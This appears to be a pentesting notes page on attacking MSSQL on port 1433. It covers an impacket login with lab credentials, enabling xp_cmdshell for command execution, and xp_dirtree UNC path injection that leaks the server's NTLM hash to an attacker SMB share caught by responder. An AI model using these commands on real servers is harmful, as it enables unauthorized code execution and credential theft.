> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/network-penetration-testing/1433-pentesting-mssql.md).

# 1433 - Pentesting MSSQL

## Authentication with Creds

```
impacket-mssqlclient klendathu.vl/zim:football22@10.10.179.150 -windows-auth 
```

## RCE in MSSQL

### xp\_cmdshell

First We can try to enable xp\_cmdshell and then run commands easily

```python
enable_xp_cmdshell   # this enables xp_cmdshell
xp_cmdshell whoami   # whoami command works
```

### UNC Path Injection (xp\_dirtree)

we can use xp\_dirtree to authenticate to our own smb share, in this case we will be able to get the hash of the sql server user and then we can either relay the hash or crack the hash 

```python
# On MSSQL Server
xp_dirtree //10.10.8.85/doesnotexists
# OR
exec master.sys.xp_dirtree '\\10.10.8.85\doesnotexists',1,1

# On kali Linux
sudo responder -I tun0

# you should get a hash on your responder 
```

### xp\_fileexist && sys.dm\_os\_file\_exists

we can use file excist as well, and sys.dm\_os\_file\_exists to. In SQL Server 2017 xp\_fileexist was replaced by a dynamic funtion called sys.dm\_os\_file\_exists

```python
xp_fileexist 'C:\'


# Change this

exec master.dbo.xp_fileExist 'adsnt.dll'

# To this
SELECT * FROM sys.dm_os_file_exists ('adsnt.dll')

```